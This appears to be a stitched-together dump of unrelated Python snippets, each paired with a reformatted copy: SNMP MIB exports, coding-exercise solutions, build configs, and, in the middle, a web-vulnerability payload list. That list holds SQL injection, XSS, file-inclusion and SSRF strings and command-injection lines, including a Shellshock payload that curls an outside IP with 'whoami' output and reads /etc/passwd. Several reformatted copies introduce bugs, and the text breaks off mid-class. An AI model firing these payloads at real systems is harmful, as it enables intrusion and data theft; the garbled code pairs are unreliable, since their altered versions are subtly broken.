sysConfigTftpPort=sysConfigTftpPort, sysConfigTftpCmd=sysConfigTftpCmd, sysConfigRadiusStatus=sysConfigRadiusStatus, sysAbsoluteStartupTime=sysAbsoluteStartupTime, fatalLogUserprofile=fatalLogUserprofile, fatalLogSlotIndex=fatalLogSlotIndex, mCastGroup=mCastGroup, max800=max800, aq300=aq300, eventGroup=eventGroup, hostTypeAny=hostTypeAny, sysMibMinorRevNum=sysMibMinorRevNum, consoleSpecific=consoleSpecific, doDial=doDial, mibinternetProfile=mibinternetProfile, mibredundancyProfile=mibredundancyProfile, dslPipeSdslCoe2S=dslPipeSdslCoe2S, fatalLogLoadName=fatalLogLoadName, sysConfigChange=sysConfigChange, srvcMgmtGroup=srvcMgmtGroup, max6000=max6000, hostStatusEntry=hostStatusEntry, sysConfigRadius=sysConfigRadius, mibuds3NetworkProfile=mibuds3NetworkProfile, max2000=max2000, pipe15=pipe15, sysSPROMOptions1=sysSPROMOptions1, radiusGroup=radiusGroup, sysSPROM=sysSPROM, hostTypes=hostTypes, sysAbsoluteCurrentTime=sysAbsoluteCurrentTime, mibcadslNetworkProfile=mibcadslNetworkProfile, doAnswer=doAnswer, sysMibVersionNum=sysMibVersionNum, hostStatusCallType=hostStatusCallType, resourcesGroup=resourcesGroup, dslPipe50SdslCell=dslPipe50SdslCell, sysConfigTftpHostAddr=sysConfigTftpHostAddr, dslPipeSdslHs=dslPipeSdslHs, fatalLogLocation=fatalLogLocation, hostStatusRemName=hostStatusRemName, doGroup=doGroup, doTable=doTable, hostTypeDual=hostTypeDual, dslPipeAcap=dslPipeAcap, mibframeRelayProfile=mibframeRelayProfile, pipe50=pipe50, callLoggingGroup=callLoggingGroup, pipe75=pipe75, sysConfigFlashCopyStatus=sysConfigFlashCopyStatus)
def solution(A): B = [] best_dif = 100000000000 sum = 0 for i in A: sum += i sum_left = 0 sum_right = sum for i in A[:-1]: sum_left += i sum_right -= i dif = abs(sum_left - sum_right) if dif < best_dif: best_dif = dif return best_dif
def solution(A): b = [] best_dif = 100000000000 sum = 0 for i in A: sum += i sum_left = 0 sum_right = sum for i in A[:-1]: sum_left += i sum_right -= i dif = abs(sum_left - sum_right) if dif < best_dif: best_dif = dif return best_dif
my_list = [1, 2.0, "three", 4] my_tup = (1, 2.0, "three", 4) my_set = {1, 2.0, "three", 4} my_str = "1, 2.0, three, 4" # Subscripting ordered datatypes print(my_list[0]) # indexing print(my_tup[0:2]) # slicing print(my_str[-8:]) # negative index and slice # Adding elements my_list.append(5.0) print("my_list with new element:", my_list) # Uniqueness my_set.add(2.0) print("my_set didn't change:", my_set)
my_list = [1, 2.0, 'three', 4] my_tup = (1, 2.0, 'three', 4) my_set = {1, 2.0, 'three', 4} my_str = '1, 2.0, three, 4' print(my_list[0]) print(my_tup[0:2]) print(my_str[-8:]) my_list.append(5.0) print('my_list with new element:', my_list) my_set.add(2.0) print("my_set didn't change:", my_set)
''' nimpy module created for working with nimrod using python Main dependencies are: numpy scipy h5py struct os argparse subprocess This module was developed for simulations run at WiPAL in the physics department at UW-Madison. The main nimrod build used to test features was nimuw 3.4.10, although it should work with many others. '''
""" nimpy module created for working with nimrod using python Main dependencies are: numpy scipy h5py struct os argparse subprocess This module was developed for simulations run at WiPAL in the physics department at UW-Madison. The main nimrod build used to test features was nimuw 3.4.10, although it should work with many others. """
TASKS = [] class Context: def __init__(self, sources, target): self.sources = sources self.target = target @property def source(self): return self.sources[0] class Task: def __init__(self, matcher, handler, phony=False): self.matcher = matcher self.handler = handler self.phony = phony def run(self, ctx): self.handler(ctx)
tasks = [] class Context: def __init__(self, sources, target): self.sources = sources self.target = target @property def source(self): return self.sources[0] class Task: def __init__(self, matcher, handler, phony=False): self.matcher = matcher self.handler = handler self.phony = phony def run(self, ctx): self.handler(ctx)
def reversort(lst): n = len(lst) cnt = 0 for i in range(n - 1): j = min(range(i, n), key=lambda j: lst[j]) cnt += j - i + 1 lst[i : j + 1] = lst[i : j + 1][::-1] return cnt t = int(input()) for i in range(t): input() (*lst,) = map(int, input().split()) cnt = reversort(lst) print(f"Case #{i+1}: {cnt}")
def reversort(lst): n = len(lst) cnt = 0 for i in range(n - 1): j = min(range(i, n), key=lambda j: lst[j]) cnt += j - i + 1 lst[i:j + 1] = lst[i:j + 1][::-1] return cnt t = int(input()) for i in range(t): input() (*lst,) = map(int, input().split()) cnt = reversort(lst) print(f'Case #{i + 1}: {cnt}')
greater = 0 one = int(input()) two = int(input()) three = int(input()) while inp := input(): current = int(inp) last_sum = one + two + three current_sum = two + three + current if current_sum > last_sum: greater += 1 one = two two = three three = current print(greater)
greater = 0 one = int(input()) two = int(input()) three = int(input()) while (inp := input()): current = int(inp) last_sum = one + two + three current_sum = two + three + current if current_sum > last_sum: greater += 1 one = two two = three three = current print(greater)
# Copyright (c) 2015 The WebRTC project authors. All Rights Reserved. # # Use of this source code is governed by a BSD-style license # that can be found in the LICENSE file in the root of the source # tree. An additional intellectual property rights grant can be found # in the file PATENTS. All contributing project authors may # be found in the AUTHORS file in the root of the source tree. { 'includes': [ '../build/common.gypi', ], 'conditions': [ ['OS=="ios"', { 'targets': [ { 'target_name': 'rtc_api_objc', 'type': 'static_library', 'dependencies': [ '<(webrtc_root)/base/base.gyp:rtc_base_objc', '../../talk/libjingle.gyp:libjingle_peerconnection', ], 'sources': [ 'objc/RTCIceCandidate+Private.h', 'objc/RTCIceCandidate.h', 'objc/RTCIceCandidate.mm', 'objc/RTCIceServer+Private.h', 'objc/RTCIceServer.h', 'objc/RTCIceServer.mm', 'objc/RTCMediaConstraints+Private.h', 'objc/RTCMediaConstraints.h', 'objc/RTCMediaConstraints.mm', 'objc/RTCMediaSource+Private.h', 'objc/RTCMediaSource.h', 'objc/RTCMediaSource.mm', 'objc/RTCMediaStreamTrack+Private.h', 'objc/RTCMediaStreamTrack.h', 'objc/RTCMediaStreamTrack.mm', 'objc/RTCOpenGLVideoRenderer.h', 'objc/RTCOpenGLVideoRenderer.mm', 'objc/RTCSessionDescription+Private.h', 'objc/RTCSessionDescription.h', 'objc/RTCSessionDescription.mm', 'objc/RTCStatsReport+Private.h', 'objc/RTCStatsReport.h', 'objc/RTCStatsReport.mm', 'objc/RTCVideoFrame+Private.h', 'objc/RTCVideoFrame.h', 'objc/RTCVideoFrame.mm', 'objc/RTCVideoRenderer.h', ], 'conditions': [ ['OS=="ios"', { 'sources': [ 'objc/RTCEAGLVideoView.h', 'objc/RTCEAGLVideoView.m', ], 'all_dependent_settings': { 'xcode_settings': { 'OTHER_LDFLAGS': [ '-framework CoreGraphics', '-framework GLKit', '-framework OpenGLES', '-framework QuartzCore', ] } } }], ['OS=="mac"', { 'sources': [ 'objc/RTCNSGLVideoView.h', 'objc/RTCNSGLVideoView.m', ], }], ], 'xcode_settings': { 'CLANG_ENABLE_OBJC_ARC': 'YES', 'CLANG_WARN_OBJC_MISSING_PROPERTY_SYNTHESIS': 'YES', 'GCC_PREFIX_HEADER': 'objc/WebRTC-Prefix.pch', }, } ], }], # OS=="ios" ], }
{'includes': ['../build/common.gypi'], 'conditions': [['OS=="ios"', {'targets': [{'target_name': 'rtc_api_objc', 'type': 'static_library', 'dependencies': ['<(webrtc_root)/base/base.gyp:rtc_base_objc', '../../talk/libjingle.gyp:libjingle_peerconnection'], 'sources': ['objc/RTCIceCandidate+Private.h', 'objc/RTCIceCandidate.h', 'objc/RTCIceCandidate.mm', 'objc/RTCIceServer+Private.h', 'objc/RTCIceServer.h', 'objc/RTCIceServer.mm', 'objc/RTCMediaConstraints+Private.h', 'objc/RTCMediaConstraints.h', 'objc/RTCMediaConstraints.mm', 'objc/RTCMediaSource+Private.h', 'objc/RTCMediaSource.h', 'objc/RTCMediaSource.mm', 'objc/RTCMediaStreamTrack+Private.h', 'objc/RTCMediaStreamTrack.h', 'objc/RTCMediaStreamTrack.mm', 'objc/RTCOpenGLVideoRenderer.h', 'objc/RTCOpenGLVideoRenderer.mm', 'objc/RTCSessionDescription+Private.h', 'objc/RTCSessionDescription.h', 'objc/RTCSessionDescription.mm', 'objc/RTCStatsReport+Private.h', 'objc/RTCStatsReport.h', 'objc/RTCStatsReport.mm', 'objc/RTCVideoFrame+Private.h', 'objc/RTCVideoFrame.h', 'objc/RTCVideoFrame.mm', 'objc/RTCVideoRenderer.h'], 'conditions': [['OS=="ios"', {'sources': ['objc/RTCEAGLVideoView.h', 'objc/RTCEAGLVideoView.m'], 'all_dependent_settings': {'xcode_settings': {'OTHER_LDFLAGS': ['-framework CoreGraphics', '-framework GLKit', '-framework OpenGLES', '-framework QuartzCore']}}}], ['OS=="mac"', {'sources': ['objc/RTCNSGLVideoView.h', 'objc/RTCNSGLVideoView.m']}]], 'xcode_settings': {'CLANG_ENABLE_OBJC_ARC': 'YES', 'CLANG_WARN_OBJC_MISSING_PROPERTY_SYNTHESIS': 'YES', 'GCC_PREFIX_HEADER': 'objc/WebRTC-Prefix.pch'}}]}]]}
class EmptyInputException(Exception): def __init__(self, *args, **kwargs): super().__init__('Input path must be non-empty') class InvalidInputException(Exception): def __init__(self, *args, **kwargs): super().__init__('Input path is invalid') class InvalidURLException(Exception): def __init__(self, url, *args, **kwargs): super().__init__("{} is not a valid URL".format(url)) class InvalidPieceSizeException(Exception): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) class TorrentNotGeneratedException(Exception): def __init__(self, *args, **kwargs): super().__init__('Torrent not generated - call generate() first')
class Emptyinputexception(Exception): def __init__(self, *args, **kwargs): super().__init__('Input path must be non-empty') class Invalidinputexception(Exception): def __init__(self, *args, **kwargs): super().__init__('Input path is invalid') class Invalidurlexception(Exception): def __init__(self, url, *args, **kwargs): super().__init__('{} is not a valid URL'.format(url)) class Invalidpiecesizeexception(Exception): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) class Torrentnotgeneratedexception(Exception): def __init__(self, *args, **kwargs): super().__init__('Torrent not generated - call generate() first')
def convert_bytes(byte): units = ['B', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB' 'YiB', 'BiB', 'NiB', 'DiB', 'CiB'] for x in units: if divmod(byte, 1024)[0] == 0: break else: byte /= 1024 return ('%.2lf%s' % (byte, x))
def convert_bytes(byte): units = ['B', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiBYiB', 'BiB', 'NiB', 'DiB', 'CiB'] for x in units: if divmod(byte, 1024)[0] == 0: break else: byte /= 1024 return '%.2lf%s' % (byte, x)
def read_sender_input(): try: input_data = input() return classify_input(input_data) except EOFError: return None,None def classify_input(input_data): attribute = input_data.split(' ') if ValidInput(attribute): temperature = float(attribute[0]) charge_rate = float(attribute[1]) return temperature, charge_rate raise ValueError("wrong input") def ValidInput(attribute): return (len(attribute)==2) and isfloat(attribute[0]) and isfloat(attribute[1]) def isfloat(val): try: float(val) return True except ValueError: return False
def read_sender_input(): try: input_data = input() return classify_input(input_data) except EOFError: return (None, None) def classify_input(input_data): attribute = input_data.split(' ') if valid_input(attribute): temperature = float(attribute[0]) charge_rate = float(attribute[1]) return (temperature, charge_rate) raise value_error('wrong input') def valid_input(attribute): return len(attribute) == 2 and isfloat(attribute[0]) and isfloat(attribute[1]) def isfloat(val): try: float(val) return True except ValueError: return False
def configure(conf): conf.recurse('armv7a.py', once=False) conf.env.VALID_ARCHITECTURES = ['armv7s'] + conf.env.VALID_ARCHITECTURES conf.env.append_unique('DEFINES', ['_ARM_V7S'])
def configure(conf): conf.recurse('armv7a.py', once=False) conf.env.VALID_ARCHITECTURES = ['armv7s'] + conf.env.VALID_ARCHITECTURES conf.env.append_unique('DEFINES', ['_ARM_V7S'])
# you can write to stdout for debugging purposes, e.g. # print("this is a debug message") def solution(A): # write your code in Python 3.6 n = len(A) left = [0]*n # max left slice for i in range(1, n-1): left[i] = max(0, left[i-1] + A[i]) right = [0]*n # max right slice for i in range(n-2, 1, -1): right[i] = max(0, right[i+1] + A[i]) # max sum doubleSlice = -10_000 for i in range(1, n-1): doubleSlice = max(doubleSlice, left[i-1] + right[i+1]) return doubleSlice
def solution(A): n = len(A) left = [0] * n for i in range(1, n - 1): left[i] = max(0, left[i - 1] + A[i]) right = [0] * n for i in range(n - 2, 1, -1): right[i] = max(0, right[i + 1] + A[i]) double_slice = -10000 for i in range(1, n - 1): double_slice = max(doubleSlice, left[i - 1] + right[i + 1]) return doubleSlice
###################################################################### # Author: Dr. Patrick Shepherd TODO: Change this to your names # Username: shepherdp TODO: Change this to your usernames # # Assignment: T5: Buggy Fruit # Purpose: A flawed birthday program ###################################################################### # Acknowledgements: # Original Author: Dr. Jan Pearce # # licensed under a Creative Commons # Attribution-Noncommercial-Share Alike 3.0 United States License. #################################################################################### def happyBirthday(i, x): #FIXME: parameter names should be meaningful!! please fix! '''Happy birthday function''' #FIXME: example of useless docstring- please fix! for i in range(x): print("Happy Birthday to you!") print("Happy Birthday, dear "+i+".") print("Happy Birthday to you!") happyBirthday('Felix', 4) # name and number of times to loop #FIXME: Where's the main function?! Please add a main, making sure that all code is wrapped in main() or happyBirthday() #FIXME: Call the happyBirthday() function from main() passing the two parameters needed.
def happy_birthday(i, x): """Happy birthday function""" for i in range(x): print('Happy Birthday to you!') print('Happy Birthday, dear ' + i + '.') print('Happy Birthday to you!') happy_birthday('Felix', 4)
waf_checker = [ " '", " AND 1", " /**/AND/**/1", " AND 1=1", " AND 1 LIKE 1", " ' AND '1'='1", "<img src=x onerror=alert('XSS')>", "<img onfoo=f()>", "<script>alert('intrusion')</script>" ] Sql_injection = { "error_based" : ["'", "')", "';", '"', '")', '";', '`', '`)', '`;', '\\', "%27", "%%2727", "%25%27", "%60", "%5C"], "union_query" : [" UNION ALL SELECT 1,2,3,4", " UNION ALL SELECT 1,2,3,4,5-- ", " UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5", " UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL-- ", " AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))-- ", " UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5--", ], "boolean_based" : [ " AND 1=0", "' AND '1'='1", "' AND 1=1--", " ' AND 1=1#", " AND 1=1 AND '%'='", " AND 7300=7300 AND 'pKlZ'='pKlZ", " AS INJECTX WHERE 1=1 AND 1=1--", " ORDER BY 2--", " RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='", " %' AND 8310=8310 AND '%'='", " and (select substring(@@version,1,1))='X'", " and (select substring(@@version,3,1))='S'", " AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-", " AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--", " AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--", " AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--", " AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--", " AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--" ] } XSS = ["<A/hREf=\"j%0aavas%09cript%0a:%09con%0afirm%0d``\">z", "<d3\"<\"/onclick=\"1>[confirm``]\"<\">z", "<d3/onmouseenter=[2].find(confirm)>z", "<details open ontoggle=confirm()>", "<script y=\"><\">/*<script* */prompt()</script", "<w=\"/x=\"y>\"/ondblclick=`<`[confir\u006d``]>z", "<a href=\"javascript%26colon;alert(1)\">click", "<a href=javas&#99;ript:alert(1)>click", "<script/\"<a\"/src=data:=\".<a,[8].some(confirm)>", "<svg/x=\">\"/onload=confirm()//"] file_inclusion = ["/etc/hosts", "/etc/shells", "/etc/my.conf", "/etc/ssh/ssh_config", "/etc/httpd/logs/access_log", "/var/www/log/access_log", "/var/www/logs/access_log"] ssrf = ["https://localhost/", "http://127.127.127.127", "http://[0:0:0:0:0:ffff:127.0.0.1]", "http://127.1.1.1:80\@@127.2.2.2:80/" "http://[::]:80/", "http://0000::1:80/", "file:///etc/passwd" "dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>"] command_injection = ["&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/passwd&quot;--&gt;", "&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;", ";system('cat%20/etc/passwd')", "||/usr/bin/id|", "() { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\`whoami\`\"", "cat /etc/hosts", "<!--#exec cmd=\"/bin/cat /etc/passwd\"-->"]
waf_checker = [" '", ' AND 1', ' /**/AND/**/1', ' AND 1=1', ' AND 1 LIKE 1', " ' AND '1'='1", "<img src=x onerror=alert('XSS')>", '<img onfoo=f()>', "<script>alert('intrusion')</script>"] sql_injection = {'error_based': ["'", "')", "';", '"', '")', '";', '`', '`)', '`;', '\\', '%27', '%%2727', '%25%27', '%60', '%5C'], 'union_query': [' UNION ALL SELECT 1,2,3,4', ' UNION ALL SELECT 1,2,3,4,5-- ', " UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5", " UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL-- ", ' AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))-- ', " UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5--"], 'boolean_based': [' AND 1=0', "' AND '1'='1", "' AND 1=1--", " ' AND 1=1#", " AND 1=1 AND '%'='", " AND 7300=7300 AND 'pKlZ'='pKlZ", ' AS INJECTX WHERE 1=1 AND 1=1--', ' ORDER BY 2--', " RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='", " %' AND 8310=8310 AND '%'='", " and (select substring(@@version,1,1))='X'", " and (select substring(@@version,3,1))='S'", ' AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-', ' AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--', ' AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--', ' AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--', ' AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--', ' AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--']} xss = ['<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z', '<d3"<"/onclick="1>[confirm``]"<">z', '<d3/onmouseenter=[2].find(confirm)>z', '<details open ontoggle=confirm()>', '<script y="><">/*<script* */prompt()</script', '<w="/x="y>"/ondblclick=`<`[confirm``]>z', '<a href="javascript%26colon;alert(1)">click', '<a href=javas&#99;ript:alert(1)>click', '<script/"<a"/src=data:=".<a,[8].some(confirm)>', '<svg/x=">"/onload=confirm()//'] file_inclusion = ['/etc/hosts', '/etc/shells', '/etc/my.conf', '/etc/ssh/ssh_config', '/etc/httpd/logs/access_log', '/var/www/log/access_log', '/var/www/logs/access_log'] ssrf = ['https://localhost/', 'http://127.127.127.127', 'http://[0:0:0:0:0:ffff:127.0.0.1]', 'http://127.1.1.1:80\\@@127.2.2.2:80/http://[::]:80/', 'http://0000::1:80/', 'file:///etc/passwddict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>'] command_injection = ['&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/passwd&quot;--&gt;', '&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;', ";system('cat%20/etc/passwd')", '||/usr/bin/id|', '() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\\`whoami\\`"', 'cat /etc/hosts', '<!--#exec cmd="/bin/cat /etc/passwd"-->']
class SearchList(list): def find(self, name): items = [] for child in self: if child.__class__ == self.__class__: items += child.find(name) else: if child == name: items.append(child) if len(items) == 1: return items[0] elif items: return items else: return None class SearchDict(dict): def find(self, search_string): # Find the user by name user = self.get(search_string) if user: return user else: # If the user can't be found by name, try searching by ID for name, user in self.items(): if str(user.id) == search_string: return user
class Searchlist(list): def find(self, name): items = [] for child in self: if child.__class__ == self.__class__: items += child.find(name) elif child == name: items.append(child) if len(items) == 1: return items[0] elif items: return items else: return None class Searchdict(dict): def find(self, search_string): user = self.get(search_string) if user: return user else: for (name, user) in self.items(): if str(user.id) == search_string: return user
# # PySNMP MIB module ALCATEL-IND1-STACK-MANAGER-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/ALCATEL-IND1-STACK-MANAGER-MIB # Produced by pysmi-0.3.4 at Wed May 1 11:19:30 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # softentIND1StackMgr, = mibBuilder.importSymbols("ALCATEL-IND1-BASE", "softentIND1StackMgr") Integer, ObjectIdentifier, OctetString = mibBuilder.importSymbols("ASN1", "Integer", "ObjectIdentifier", "OctetString") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") SingleValueConstraint, ValueRangeConstraint, ConstraintsUnion, ConstraintsIntersection, ValueSizeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "SingleValueConstraint", "ValueRangeConstraint", "ConstraintsUnion", "ConstraintsIntersection", "ValueSizeConstraint") InterfaceIndex, = mibBuilder.importSymbols("IF-MIB", "InterfaceIndex") ModuleCompliance, NotificationGroup, ObjectGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup", "ObjectGroup") MibScalar, MibTable, MibTableRow, MibTableColumn, ObjectIdentity, Unsigned32, Counter32, TimeTicks, Gauge32, NotificationType, MibIdentifier, Integer32, ModuleIdentity, iso, Bits, Counter64, IpAddress = mibBuilder.importSymbols("SNMPv2-SMI", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "ObjectIdentity", "Unsigned32", "Counter32", "TimeTicks", "Gauge32", "NotificationType", "MibIdentifier", "Integer32", "ModuleIdentity", "iso", "Bits", "Counter64", "IpAddress") DisplayString, RowStatus, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "RowStatus", "TextualConvention") alcatelIND1StackMgrMIB = ModuleIdentity((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1)) alcatelIND1StackMgrMIB.setRevisions(('2009-02-06 00:00', '2007-04-03 00:00', '2005-07-15 00:00', '2004-07-01 00:00', '2004-04-23 00:00', '2004-04-08 00:00', '2004-04-04 00:00', '2004-03-22 00:00', '2004-03-08 00:00', '2001-08-27 00:00',)) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): if mibBuilder.loadTexts: alcatelIND1StackMgrMIB.setRevisionsDescriptions(('Added alaStackMgrOperStackingMode and alaStackMgrAdminStackingMode objects. Added AlaStackMgrStackingMode TEXTUAL-CONVENTION.', 'Updated copyright information.', 'New trap alaStackMgrBadMixTrap has been added. AlaStackMgrSlotState & AlaStackMgrLinkNumber textual convention have been modified.', 'Updates on definitions for link states. Updates on pass through slot range.', 'New trap alaStackMgrOutOfPassThruSlotsTrap has been added.', 'alaStackMgrPassThruTrap has been split in three traps to assure backwards compatibility with previous releases of the Birds Of Prey products.', '-Command action and command status objects added to the chassis table. -Link state textual conventions have been updated.', 'Objects to handle information about token usage.', 'Objects to support the pass through mode added.', 'Addressing discrepancies with Alcatel Standard.',)) if mibBuilder.loadTexts: alcatelIND1StackMgrMIB.setLastUpdated('200902060000Z') if mibBuilder.loadTexts: alcatelIND1StackMgrMIB.setOrganization('Alcatel-Lucent') if mibBuilder.loadTexts: alcatelIND1StackMgrMIB.setContactInfo('Please consult with Customer Service to ensure the most appropriate version of this document is used with the products in question: Alcatel-Lucent, Enterprise Solutions Division (Formerly Alcatel Internetworking, Incorporated) 26801 West Agoura Road Agoura Hills, CA 91301-5122 United States Of America Telephone: North America +1 800 995 2696 Latin America +1 877 919 9526 Europe +31 23 556 0100 Asia +65 394 7933 All Other +1 818 878 4507 Electronic Mail: support@ind.alcatel.com World Wide Web: http://alcatel-lucent.com/wps/portal/enterprise File Transfer Protocol: ftp://ftp.ind.alcatel.com/pub/products/mibs') if mibBuilder.loadTexts: alcatelIND1StackMgrMIB.setDescription('This module describes an authoritative enterprise-specific Simple Network Management Protocol (SNMP) Management Information Base (MIB): For the Birds Of Prey Product Line Stack Manager The right to make changes in specification and other information contained in this document without prior notice is reserved. No liability shall be assumed for any incidental, indirect, special, or consequential damages whatsoever arising from or related to this document or the information contained herein. Vendors, end-users, and other interested parties are granted non-exclusive license to use this specification in connection with management of the products for which it is intended to be used. Copyright (C) 1995-2007 Alcatel-Lucent ALL RIGHTS RESERVED WORLDWIDE') alcatelIND1StackMgrMIBObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1)) alcatelIND1StackMgrMIBConformance = MibIdentifier((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 2)) alcatelIND1StackMgrTrapObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 3)) alaStackMgrTraps = MibIdentifier((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 4)) class AlaStackMgrLinkNumber(TextualConvention, Integer32): description = 'Lists the port numbers that the stackable ports can hold. Also the values are the same as the one marked on the Stack chassis pannel. These values are hardware dependent as follows: - First generation stackable switches - 24 ports: linkA27=27, linkB28=28, - First generation stackable switches - 48 ports: linkA51=51, linkB52=52, - 1st version of 2nd generation stackable switches : linkA31=31, linkB32=32. - 2nd version of 2nd generation stackable switches 24-port : linkA25=25, linkB26=26, - 2nd version of 2nd generation stackable switches 48-port : linkA29=29, linkB30=30.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(27, 28, 51, 52, 31, 32, 25, 26, 29, 30, 1, 2)) namedValues = NamedValues(("linkA27", 27), ("linkB28", 28), ("linkA51", 51), ("linkB52", 52), ("linkA31", 31), ("linkB32", 32), ("linkA25", 25), ("linkB26", 26), ("linkA29", 29), ("linkB30", 30), ("linkA", 1), ("linkB", 2)) class AlaStackMgrNINumber(TextualConvention, Integer32): description = 'The numbers allocated for the stack NIs are as follows: - 0 = invalid slot number; - 1..8 = valid and assigned slot numbers corresponding values from the entPhysicalTable; - 1001..1008 = switches operating in pass through mode; - 255 = unassigned slot number.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 1008) class AlaStackMgrLinkStatus(TextualConvention, Integer32): description = 'Provides the logical stack link status. The logical link is considered operational if the physical link is operational and communication with the adjacent switch is active. The possible values are: - up(1), - down(2).' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2)) namedValues = NamedValues(("up", 1), ("down", 2)) class AlaStackMgrSlotRole(TextualConvention, Integer32): description = 'Indicates the role of each switch within the stack as follows: - unassigned(0), - primary(1), - secondary(2), - idle(3), - standalone(4), - passthrough(5)' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5)) namedValues = NamedValues(("unassigned", 0), ("primary", 1), ("secondary", 2), ("idle", 3), ("standalone", 4), ("passthrough", 5)) class AlaStackMgrStackStatus(TextualConvention, Integer32): description = 'Indicates whether the stack ring is or not in loop as follows: - loop(1), - noloop(2)' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2)) namedValues = NamedValues(("loop", 1), ("noloop", 2)) class AlaStackMgrSlotState(TextualConvention, Integer32): description = "Current operational state of a stack element as follows: - running(1) : switch is fully operational, - duplicateSlot(2): switch operates in pass through mode due to slot duplication, - clearedSlot(3) : switch operates in pass through mode upon management command, - outOfSlots(4) : switch operates in pass through because the maximum number of allowed stackable swicthes has been reached, - outOfTokens(5) : switch operates in pass through mode because no tokens are available to be assigned. - badMix (6) : switch operates in pass through mode because it's not compatible with the existing stack." status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6)) namedValues = NamedValues(("running", 1), ("duplicateSlot", 2), ("clearedSlot", 3), ("outOfSlots", 4), ("outOfTokens", 5), ("badMix", 6)) class AlaStackMgrCommandAction(TextualConvention, Integer32): description = 'Identifies which of the following actions is to be performed: - notSiginificant(0) : no action, - clearSlot(1) : saved slot number will be removed from persistent database, - clearSlotImmediately : saved slot number will be cleared and change will be in effect right away causing the switch to enter in pass through mode, - reloadAny(3) : reboot an element regardless of its operational mode, - reloadPassThru(4) : reboot an element that is operating in pass thru mode.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4)) namedValues = NamedValues(("notSignificant", 0), ("clearSlot", 1), ("clearSlotImmediately", 2), ("reloadAny", 3), ("reloadPassThru", 4)) class 